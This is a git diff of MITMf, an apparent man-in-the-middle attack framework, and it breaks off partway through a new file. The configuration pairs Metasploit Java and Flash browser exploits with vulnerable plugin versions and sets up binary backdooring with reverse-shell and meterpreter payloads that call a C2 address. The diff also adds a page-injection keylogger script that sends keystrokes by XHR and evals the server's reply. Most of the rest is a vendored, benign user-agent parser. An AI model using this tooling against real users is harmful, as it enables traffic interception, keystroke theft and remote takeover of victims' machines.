diff --git a/README.md b/README.md index 6b1e8f6..1008bb1 100644 --- a/README.md +++ b/README.md @@ -72,9 +72,9 @@ How to install on Kali Installation ============ If MITMf is not in your distros repo or you just want the latest version: -- clone this repository -- run the ```setup.sh``` script -- run the command ```pip install -r requirements.txt``` to install all python dependencies +- Clone this repository +- Run the ```setup.sh``` script +- Run the command ```pip install -r requirements.txt``` to install all python dependencies On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it. diff --git a/config/mitmf.conf b/config/mitmf.conf index 040eec3..ce7e7ec 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -18,7 +18,8 @@ pass = beef [[Metasploit]] - msfport = 8080 #Port to start webserver for exploits + + msfport = 8080 #Port to start Metasploit's webserver on that will host exploits rpcip = 127.0.0.1 rpcpass = abc123 @@ -231,37 +232,90 @@ skip_in_mass_poison=1 #you can add other scripts in additional sections like jQuery etc. -[BrowserPwn] +[BrowserSniper] + # + # Currently only supports java, flash and browser exploits + # + # The version strings were pulled from http://www.cvedetails.com + # + # When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 + # - # - # All versions strings without a * are considered vulnerable if clients Java version is <= update version - # When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 - # + [[multi/browser/java_rhino]] #Exploit's MSF path + + Type = PluginVuln #Can be set to PluginVuln, BrowserVuln + OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1) - [[Multi]] #Cross platform exploits, yay java! <3 + Browser = Any #Can be set to Any, Chrome, Firefox, IE or browser + version (e.g IE 6) + Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored) - multi/browser/java_rhino = 1.6.0.28, 1.7.0.28 - multi/browser/java_calendar_deserialize = 1.6.0.10, 1.5.0.16 - multi/browser/java_getsoundbank_bof = 1.6.0.16, 1.5.0.21, 1.4.2.23, 1.3.1.26 - multi/browser/java_atomicreferencearray = 1.6.0.30, 1.5.0.33, 1.7.0.2 - multi/browser/java_jre17_exec = 1.7.0.6 - multi/browser/java_jre17_jaxws = 1.7.0.7 - multi/browser/java_jre17_jmxbean = 1.7.0.10 - multi/browser/java_jre17_jmxbean_2 = 1.7.0.11 - multi/browser/java_jre17_reflection_types = 1.7.0.17 - multi/browser/java_verifier_field_access = 1.7.0.4, 1.6.0.32, 1.5.0.35, 1.4.2.37 - multi/browser/java_jre17_glassfish_averagerangestatisticimpl = 1.7.0.7 - multi/browser/java_jre17_method_handle = 1.7.0.7 - multi/browser/java_jre17_driver_manager = 1.7.0.17 - multi/browser/java_jre17_provider_skeleton = 1.7.0.21 - multi/browser/java_storeimagearray = 1.7.0.21 - multi/browser/java_setdifficm_bof = *1.6.0.16, *1.6.0.11 + #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored) + PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0 - [[Windows]] #These are windows specific + [[multi/browser/java_atomicreferencearray]] - windows/browser/java_ws_double_quote = 1.6.0.35, 1.7.0.7 - windows/browser/java_cmm = 1.6.0.41, 1.7.0.15 - windows/browser/java_mixer_sequencer = 1.6.0.18 + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2 + + [[multi/browser/java_jre17_jmxbean_2]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + + [[multi/browser/java_jre17_reflection_types]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + + [[multi/browser/java_verifier_field_access]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4 + + [[multi/browser/java_jre17_provider_skeleton]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + + + [[exploit/windows/browser/adobe_flash_pcre]] + + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296 + + [[exploit/windows/browser/adobe_flash_net_connection_confusion]] + + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305 + + [[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]] + + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144 [SSLstrip+] @@ -315,91 +369,93 @@ # Tested on Kali-Linux. [[ZIP]] - # patchCount is the max number of files to patch in a zip file - # After the max is reached it will bypass the rest of the files - # and send on it's way + # patchCount is the max number of files to patch in a zip file + # After the max is reached it will bypass the rest of the files + # and send on it's way - patchCount = 5 + patchCount = 5 - # In Bytes - maxSize = 40000000 + # In Bytes + maxSize = 40000000 - blacklist = .dll, #don't do dlls in a zip file + blacklist = .dll, #don't do dlls in a zip file [[TAR]] - # patchCount is the max number of files to patch in a tar file - # After the max is reached it will bypass the rest of the files - # and send on it's way + # patchCount is the max number of files to patch in a tar file + # After the max is reached it will bypass the rest of the files + # and send on it's way - patchCount = 5 + patchCount = 5 - # In Bytes - maxSize = 40000000 + # In Bytes + maxSize = 40000000 - blacklist = , # a comma is null do not leave blank + blacklist = , # a comma is null do not leave blank [[targets]] #MAKE SURE that your settings for host and port DO NOT # overlap between different types of payloads [[[ALL]]] # DEFAULT settings for all targets REQUIRED - - LinuxType = ALL # choices: x86/x64/ALL/None - WindowsType = ALL # choices: x86/x64/ALL/None - FatPriority = x64 # choices: x86 or x64 - - FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large - CompressedFiles = True #True/False + LinuxType = ALL # choices: x86/x64/ALL/None + WindowsType = ALL # choices: x86/x64/ALL/None + FatPriority = x64 # choices: x86 or x64 - [[[[LinuxIntelx86]]]] - SHELL = reverse_shell_tcp # This is the BDF syntax - HOST = 192.168.1.168 # The C2 - PORT = 8888 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax - - [[[[LinuxIntelx64]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 9999 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp + FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large - [[[[WindowsIntelx86]]]] - PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND - # PATCH_METHOD overwrites PATCH_TYPE with jump - PATCH_METHOD = automatic - HOST = 192.168.1.16 - PORT = 8443 - SHELL = iat_reverse_tcp_stager_threaded - SUPPLIED_SHELLCODE = None - ZERO_CERT = False - PATCH_DLL = True - MSFPAYLOAD = windows/meterpreter/reverse_tcp + CompressedFiles = True #True/False + + [[[[LinuxIntelx86]]]] + SHELL = reverse_shell_tcp # This is the BDF syntax + HOST = 192.168.1.168 # The C2 + PORT = 8888 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax + + [[[[LinuxIntelx64]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 9999 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp - [[[[WindowsIntelx64]]]] - PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND - # PATCH_METHOD overwrites PATCH_TYPE with jump - PATCH_METHOD = automatic - HOST = 192.168.1.16 - PORT = 8088 - SHELL = iat_reverse_tcp_stager_threaded - SUPPLIED_SHELLCODE = None - ZERO_CERT = True - PATCH_DLL = False - MSFPAYLOAD = windows/x64/shell/reverse_tcp + [[[[WindowsIntelx86]]]] + PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE with jump + # PATCH_METHOD = automatic + PATCH_METHOD = + HOST = 192.168.1.16 + PORT = 8443 + SHELL = iat_reverse_tcp_stager_threaded + SUPPLIED_SHELLCODE = None + ZERO_CERT = True + PATCH_DLL = False + MSFPAYLOAD = windows/meterpreter/reverse_tcp - [[[[MachoIntelx86]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 4444 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp + [[[[WindowsIntelx64]]]] + PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE with jump + # PATCH_METHOD = automatic + PATCH_METHOD = + HOST = 192.168.1.16 + PORT = 8088 + SHELL = iat_reverse_tcp_stager_threaded + SUPPLIED_SHELLCODE = None + ZERO_CERT = True + PATCH_DLL = False + MSFPAYLOAD = windows/x64/shell/reverse_tcp - [[[[MachoIntelx64]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 5555 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp \ No newline at end of file + [[[[MachoIntelx86]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 4444 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp + + [[[[MachoIntelx64]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 5555 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp diff --git a/core/ferretNG/ClientRequest.py b/core/ferretng/ClientRequest.py similarity index 100% rename from core/ferretNG/ClientRequest.py rename to core/ferretng/ClientRequest.py diff --git a/core/ferretNG/CookieCleaner.py b/core/ferretng/CookieCleaner.py similarity index 100% rename from core/ferretNG/CookieCleaner.py rename to core/ferretng/CookieCleaner.py diff --git a/core/ferretNG/DnsCache.py b/core/ferretng/DnsCache.py similarity index 100% rename from core/ferretNG/DnsCache.py rename to core/ferretng/DnsCache.py diff --git a/core/ferretNG/FerretProxy.py b/core/ferretng/FerretProxy.py similarity index 100% rename from core/ferretNG/FerretProxy.py rename to core/ferretng/FerretProxy.py diff --git a/core/ferretNG/SSLServerConnection.py b/core/ferretng/SSLServerConnection.py similarity index 87% rename from core/ferretNG/SSLServerConnection.py rename to core/ferretng/SSLServerConnection.py index 8ba8007..82dc8d1 100644 --- a/core/ferretNG/SSLServerConnection.py +++ b/core/ferretng/SSLServerConnection.py @@ -82,26 +82,11 @@ class SSLServerConnection(ServerConnection): self.buildAbsoluteLink(match.group(1)) return data - - def replaceFavicon(self, data): - match = re.search(SSLServerConnection.iconExpression, data) - - if (match != None): - data = re.sub(SSLServerConnection.iconExpression, - "", data) - else: - data = re.sub(SSLServerConnection.headExpression, - "", data) - - return data def replaceSecureLinks(self, data): data = ServerConnection.replaceSecureLinks(self, data) data = self.replaceCssLinks(data) - if (self.urlMonitor.isFaviconSpoofing()): - data = self.replaceFavicon(data) - iterator = re.finditer(SSLServerConnection.linkExpression, data) for match in iterator: diff --git a/core/ferretNG/ServerConnection.py b/core/ferretng/ServerConnection.py similarity index 100% rename from core/ferretNG/ServerConnection.py rename to core/ferretng/ServerConnection.py diff --git a/core/ferretNG/ServerConnectionFactory.py b/core/ferretng/ServerConnectionFactory.py similarity index 100% rename from core/ferretNG/ServerConnectionFactory.py rename to core/ferretng/ServerConnectionFactory.py diff --git a/core/ferretNG/URLMonitor.py b/core/ferretng/URLMonitor.py similarity index 100% rename from core/ferretNG/URLMonitor.py rename to core/ferretng/URLMonitor.py diff --git a/core/ferretNG/__init__.py b/core/ferretng/__init__.py similarity index 100% rename from core/ferretNG/__init__.py rename to core/ferretng/__init__.py diff --git a/core/httpagentparser.py b/core/httpagentparser.py new file mode 100644 index 0000000..0c739ac --- /dev/null +++ b/core/httpagentparser.py @@ -0,0 +1,673 @@ +# +#httpagentparser library, stolen from https://github.com/shon/httpagentparser +# + +""" +Extract client information from http user agent +The module does not try to detect all capabilities of browser in current form (it can easily be extended though). +Tries to + * be fast + * very easy to extend + * reliable enough for practical purposes + * assist python web apps to detect clients. +""" + +__version__ = '1.7.7' + + +class DetectorsHub(dict): + _known_types = ['os', 'dist', 'flavor', 'browser'] + + def __init__(self, *args, **kw): + dict.__init__(self, *args, **kw) + for typ in self._known_types: + self.setdefault(typ, []) + self.registerDetectors() + + def register(self, detector): + if detector.info_type not in self._known_types: + self[detector.info_type] = [detector] + self._known_types.insert(detector.order, detector.info_type) + else: + self[detector.info_type].append(detector) + + def __iter__(self): + return iter(self._known_types) + + def registerDetectors(self): + detectors = [v() for v in globals().values() if DetectorBase in getattr(v, '__mro__', [])] + for d in detectors: + if d.can_register: + self.register(d) + + +class DetectorBase(object): + name = "" # "to perform match in DetectorsHub object" + info_type = "override me" + result_key = "override me" + order = 10 # 0 is highest + look_for = "string to look for" + skip_if_found = [] # strings if present stop processin + can_register = False + version_markers = [("/", " ")] + allow_space_in_version = False + _suggested_detectors = None + platform = None + bot = False + + def __init__(self): + if not self.name: + self.name = self.__class__.__name__ + self.can_register = (self.__class__.__dict__.get('can_register', True)) + + def detect(self, agent, result): + # -> True/None + word = self.checkWords(agent) + if word: + result[self.info_type] = dict(name=self.name) + result['bot'] = self.bot + version = self.getVersion(agent, word) + if version: + result[self.info_type]['version'] = version + if self.platform: + result['platform'] = {'name': self.platform, 'version': version} + return True + + def checkWords(self, agent): + # -> True/None + for w in self.skip_if_found: + if w in agent: + return False + if isinstance(self.look_for, (tuple, list)): + for word in self.look_for: + if word in agent: + return word + elif self.look_for in agent: + return self.look_for + + def getVersion(self, agent, word): + """ + => version string /None + """ + version_markers = self.version_markers if \ + isinstance(self.version_markers[0], (list, tuple)) else [self.version_markers] + version_part = agent.split(word, 1)[-1] + for start, end in version_markers: + if version_part.startswith(start) and end in version_part: + version = version_part[1:] + if end: # end could be empty string + version = version.split(end)[0] + if not self.allow_space_in_version: + version = version.split()[0] + return version + + +class OS(DetectorBase): + info_type = "os" + can_register = False + version_markers = [";", " "] + allow_space_in_version = True + platform = None + + +class Dist(DetectorBase): + info_type = "dist" + can_register = False + platform = None + + +class Flavor(DetectorBase): + info_type = "flavor" + can_register = False + platform = None + + +class Browser(DetectorBase): + info_type = "browser" + can_register = False + + +class Firefox(Browser): + look_for = "Firefox" + version_markers = [('/', '')] + skip_if_found = ["SeaMonkey", "web/snippet"] + + +class SeaMonkey(Browser): + look_for = "SeaMonkey" + version_markers = [('/', '')] + + +class Konqueror(Browser): + look_for = "Konqueror" + version_markers = ["/", ";"] + + +class OperaMobile(Browser): + look_for = "Opera Mobi" + name = "Opera Mobile" + + def getVersion(self, agent, word): + try: + look_for = "Version" + return agent.split(look_for)[1][1:].split(' ')[0] + except IndexError: + look_for = "Opera" + return agent.split(look_for)[1][1:].split(' ')[0] + + +class Opera(Browser): + look_for = "Opera" + + def getVersion(self, agent, word): + try: + look_for = "Version" + return agent.split(look_for)[1][1:].split(' ')[0] + except IndexError: + look_for = "Opera" + version = agent.split(look_for)[1][1:].split(' ')[0] + return version.split('(')[0] + + +class OperaNew(Browser): + """ + Opera after version 15 + """ + name = "Opera" + look_for = "OPR" + version_markers = [('/', '')] + + +class Netscape(Browser): + look_for = "Netscape" + version_markers = [("/", '')] + + +class Trident(Browser): + look_for = "Trident" + skip_if_found = ["MSIE", "Opera"] + name = "IE" + version_markers = ["/", ";"] + trident_to_ie_versions = { + '4.0': '8.0', + '5.0': '9.0', + '6.0': '10.0', + '7.0': '11.0', + } + + def getVersion(self, agent, word): + return self.trident_to_ie_versions.get(super(Trident, self).getVersion(agent, word)) + + +class MSIE(Browser): + look_for = "MSIE" + skip_if_found = ["Opera"] + name = "IE" + version_markers = [" ", ";"] + + +class Galeon(Browser): + look_for = "Galeon" + + +class WOSBrowser(Browser): + look_for = "wOSBrowser" + + def getVersion(self, agent, word): + pass + + +class Safari(Browser): + look_for = "Safari" + + def checkWords(self, agent): + unless_list = ["Chrome", "OmniWeb", "wOSBrowser", "Android"] + if self.look_for in agent: + for word in unless_list: + if word in agent: + return False + return self.look_for + + def getVersion(self, agent, word): + if "Version/" in agent: + return agent.split('Version/')[-1].split(' ')[0].strip() + if "Safari/" in agent: + return agent.split('Safari/')[-1].split(' ')[0].strip() + else: + return agent.split('Safari ')[-1].split(' ')[0].strip() # Mobile Safari + +class GoogleBot(Browser): + # https://support.google.com/webmasters/answer/1061943 + look_for = ["Googlebot", "Googlebot-News", "Googlebot-Image", + "Googlebot-Video", "Googlebot-Mobile", "Mediapartners-Google", + "Mediapartners", "AdsBot-Google", "web/snippet"] + bot = True + version_markers = [('/', ';'), ('/', ' ')] + +class GoogleFeedFetcher(Browser): + look_for = "Feedfetcher-Google" + bot = True + + def get_version(self, agent): + pass + +class RunscopeRadar(Browser): + look_for = "runscope-radar" + bot = True + +class GoogleAppEngine(Browser): + look_for = "AppEngine-Google" + bot = True + + def get_version(self, agent): + pass + +class GoogleApps(Browser): + look_for = "GoogleApps script" + bot = True + + def get_version(self, agent): + pass + +class TwitterBot(Browser): + look_for = "Twitterbot" + bot = True + +class MJ12Bot(Browser): + look_for = "MJ12bot" + bot = True + +class YandexBot(Browser): + # http://help.yandex.com/search/robots/agent.xml + look_for = "Yandex" + bot = True + + def getVersion(self, agent, word): + return agent[agent.index('Yandex'):].split('/')[-1].split(')')[0].strip() + +class BingBot(Browser): + look_for = "bingbot" + version_markers = ["/", ";"] + bot = True + + +class BaiduBot(Browser): + # http://help.baidu.com/question?prod_en=master&class=1&id=1000973 + look_for = ["Baiduspider", "Baiduspider-image", "Baiduspider-video", + "Baiduspider-news", "Baiduspider-favo", "Baiduspider-cpro", + "Baiduspider-ads"] + bot = True + version_markers = ('/', ';') + + +class LinkedInBot(Browser): + look_for = "LinkedInBot" + bot = True + +class ArchiveDotOrgBot(Browser): + look_for = "archive.org_bot" + bot = True + +class YoudaoBot(Browser): + look_for = "YoudaoBot" + bot = True + +class YoudaoBotImage(Browser): + look_for = "YodaoBot-Image" + bot = True + +class RogerBot(Browser): + look_for = "rogerbot" + bot = True + +class TweetmemeBot(Browser): + look_for = "TweetmemeBot" + bot = True + +class WebshotBot(Browser): + look_for = "WebshotBot" + bot = True + +class SensikaBot(Browser): + look_for = "SensikaBot" + bot = True + +class YesupBot(Browser): + look_for = "YesupBot" + bot = True + +class DotBot(Browser): + look_for = "DotBot" + bot = True + +class PhantomJS(Browser): + look_for = "Browser/Phantom" + bot = True + +class FacebookExternalHit(Browser): + look_for = 'facebookexternalhit' + bot = True + + +class NokiaOvi(Browser): + look_for = "S40OviBrowser" + +class UCBrowser(Browser): + look_for = "UCBrowser" + +class BrowserNG(Browser): + look_for = "BrowserNG" + +class Dolfin(Browser): + look_for = 'Dolfin' + +class NetFront(Browser): + look_for = 'NetFront' + +class Jasmine(Browser): + look_for = 'Jasmine' + +class Openwave(Browser): + look_for = 'Openwave' + +class UPBrowser(Browser): + look_for = 'UP.Browser' + +class OneBrowser(Browser): + look_for = 'OneBrowser' + +class ObigoInternetBrowser(Browser): + look_for = 'ObigoInternetBrowser' + +class TelecaBrowser(Browser): + look_for = 'TelecaBrowser' + +class MAUI(Browser): + look_for = 'Browser/MAUI' + + def getVersion(self, agent, word): + version = agent.split("Release/")[-1][:10] + return version + + +class NintendoBrowser(Browser): + look_for = 'NintendoBrowser' + + +class AndroidBrowser(Browser): + look_for = "Android" + skip_if_found = ['Chrome', 'Windows Phone'] + + # http://decadecity.net/blog/2013/11/21/android-browser-versions + def getVersion(self, agent, word): + pass + + +class Linux(OS): + look_for = 'Linux' + platform = 'Linux' + + def getVersion(self, agent, word): + pass + + +class Blackberry(OS): + look_for = 'BlackBerry' + platform = 'BlackBerry' + + def getVersion(self, agent, word): + pass + + +class BlackberryPlaybook(Dist): + look_for = 'PlayBook' + platform = 'BlackBerry' + + def getVersion(self, agent, word): + pass + + +class WindowsPhone(OS): + name = "Windows Phone" + platform = 'Windows' + look_for = ["Windows Phone OS", "Windows Phone"] + version_markers = [(" ", ";"), (" ", ")")] + + +class iOS(OS): + look_for = ('iPhone', 'iPad') + skip_if_found = ['like iPhone'] + + +class iPhone(Dist): + look_for = 'iPhone' + platform = 'iOS' + skip_if_found = ['like iPhone'] + + def getVersion(self, agent, word): + version_end_chars = [' '] + if not "iPhone OS" in agent: + return None + part = agent.split('iPhone OS')[-1].strip() + for c in version_end_chars: + if c in part: + version = part.split(c)[0] + return version.replace('_', '.') + return None + + +class IPad(Dist): + look_for = 'iPad;' + platform = 'iOS' + + def getVersion(self, agent, word): + version_end_chars = [' '] + if not "CPU OS " in agent: + return None + part = agent.split('CPU OS ')[-1].strip() + for c in version_end_chars: + if c in part: + version = part.split(c)[0] + return version.replace('_', '.') + return None + + +class Macintosh(OS): + look_for = 'Macintosh' + + def getVersion(self, agent, word): + pass + + +class MacOS(Flavor): + look_for = 'Mac OS' + platform = 'Mac OS' + skip_if_found = ['iPhone', 'iPad'] + + def getVersion(self, agent, word): + version_end_chars = [';', ')'] + part = agent.split('Mac OS')[-1].strip() + for c in version_end_chars: + if c in part: + version = part.split(c)[0] + return version.replace('_', '.') + return '' + + +class Windows(Dist): + look_for = 'Windows' + platform = 'Windows' + + +class Windows(OS): + look_for = 'Windows' + platform = 'Windows' + skip_if_found = ["Windows Phone"] + win_versions = { + "NT 6.3": "8.1", + "NT 6.2": "8", + "NT 6.1": "7", + "NT 6.0": "Vista", + "NT 5.2": "Server 2003 / XP x64", + "NT 5.1": "XP", + "NT 5.01": "2000 SP1", + "NT 5.0": "2000", + "98; Win 9x 4.90": "Me" + } + + def getVersion(self, agent, word): + v = agent.split('Windows')[-1].split(';')[0].strip() + if ')' in v: + v = v.split(')')[0] + v = self.win_versions.get(v, v) + return v + + +class Ubuntu(Dist): + look_for = 'Ubuntu' + version_markers = ["/", " "] + + +class Debian(Dist): + look_for = 'Debian' + version_markers = ["/", " "] + + +class Chrome(Browser): + look_for = "Chrome" + version_markers = ["/", " "] + skip_if_found = ["OPR"] + + def getVersion(self, agent, word): + part = agent.split(word + self.version_markers[0])[-1] + version = part.split(self.version_markers[1])[0] + if '+' in version: + version = part.split('+')[0] + return version.strip() + + +class ChromeiOS(Browser): + look_for = "CriOS" + version_markers = ["/", " "] + + +class ChromeOS(OS): + look_for = "CrOS" + platform = ' ChromeOS' + version_markers = [" ", " "] + + def getVersion(self, agent, word): + version_markers = self.version_markers + if word + '+' in agent: + version_markers = ['+', '+'] + return agent.split(word + version_markers[0])[-1].split(version_markers[1])[1].strip()[:-1] + + +class Android(Dist): + look_for = 'Android' + platform = 'Android' + skip_if_found = ['Windows Phone'] + + def getVersion(self, agent, word): + return agent.split(word)[-1].split(';')[0].strip() + + +class WebOS(Dist): + look_for = 'hpwOS' + + def getVersion(self, agent, word): + return agent.split('hpwOS/')[-1].split(';')[0].strip() + + +class NokiaS40(OS): + look_for = 'Series40' + platform = 'Nokia S40' + + def getVersion(self, agent, word): + pass + + +class Symbian(OS): + look_for = ['Symbian', 'SymbianOS'] + platform = 'Symbian' + + +class PlayStation(OS): + look_for = ['PlayStation', 'PLAYSTATION'] + platform = 'PlayStation' + version_markers = [" ", ")"] + + +class prefs: # experimental + os = dict( + Linux=dict(dict(browser=[Firefox, Chrome], dist=[Ubuntu, Android])), + BlackBerry=dict(dist=[BlackberryPlaybook]), + Macintosh=dict(flavor=[MacOS]), + Windows=dict(browser=[MSIE, Firefox]), + ChromeOS=dict(browser=[Chrome]), + Debian=dict(browser=[Firefox]) + ) + dist = dict( + Ubuntu=dict(browser=[Firefox]), + Android=dict(browser=[Safari]), + IPhone=dict(browser=[Safari]), + IPad=dict(browser=[Safari]), + ) + flavor = dict( + MacOS=dict(browser=[Opera, Chrome, Firefox, MSIE]) + ) + + +detectorshub = DetectorsHub() + + +def detect(agent, fill_none=False): + """ + fill_none: if name/version is not detected respective key is still added to the result with value None + """ + result = dict(platform=dict(name=None, version=None)) + _suggested_detectors = [] + + for info_type in detectorshub: + detectors = _suggested_detectors or detectorshub[info_type] + for detector in detectors: + try: + detector.detect(agent, result) + except Exception as _err: + pass + + if fill_none: + attrs_d = {'name': None, 'version': None} + for key in ('os', 'browser'): + if key not in result: + result[key] = attrs_d + else: + for k, v in attrs_d.items(): + result[k] = v + + return result + + +def simple_detect(agent): + """ + -> (os, browser) # tuple of strings + """ + result = detect(agent) + os_list = [] + if 'flavor' in result: + os_list.append(result['flavor']['name']) + if 'dist' in result: + os_list.append(result['dist']['name']) + if 'os' in result: + os_list.append(result['os']['name']) + + os = os_list and " ".join(os_list) or "Unknown OS" + os_version = os_list and (result.get('flavor') and result['flavor'].get('version')) or \ + (result.get('dist') and result['dist'].get('version')) or (result.get('os') and result['os'].get('version')) or "" + browser = 'browser' in result and result['browser'].get('name') or 'Unknown Browser' + browser_version = 'browser' in result and result['browser'].get('version') or "" + if browser_version: + browser = " ".join((browser, browser_version)) + if os_version: + os = " ".join((os, os_version)) + return os, browser diff --git a/core/javascript/msfkeylogger.js b/core/javascript/msfkeylogger.js new file mode 100644 index 0000000..5110961 --- /dev/null +++ b/core/javascript/msfkeylogger.js @@ -0,0 +1,117 @@ +window.onload = function (){ + var2 = ","; + name = ''; + function make_xhr(){ + var xhr; + try { + xhr = new XMLHttpRequest(); + } catch(e) { + try { + xhr = new ActiveXObject("Microsoft.XMLHTTP"); + } catch(e) { + xhr = new ActiveXObject("MSXML2.ServerXMLHTTP"); + } + } + if(!xhr) { + throw "failed to create XMLHttpRequest"; + } + return xhr; + } + + xhr = make_xhr(); + xhr.onreadystatechange = function() { + if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) { + eval(xhr.responseText); + } + } + + if (window.addEventListener){ + //console.log("first"); + document.addEventListener('keypress', function2, true); + document.addEventListener('keydown', function1, true); + } + else if (window.attachEvent){ + //console.log("second"); + document.attachEvent('onkeypress', function2); + document.attachEvent('onkeydown', function1); + } + else { + //console.log("third"); + document.onkeypress = function2; + document.onkeydown = function1; + } +} + +function function2(e) +{ + try + { + srcname = window.event.srcElement.name; + }catch(error) + { + srcname = e.srcElement ? e.srcElement.name : e.target.name + if (srcname == "") + { + srcname = e.target.name + } + } + + var3 = (e) ? e.keyCode : e.which; + if (var3 == 0) + { + var3 = e.charCode + } + + if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13) + { + andxhr(var3.toString(16), srcname); + } +} + +function function1(e) +{ + try + { + 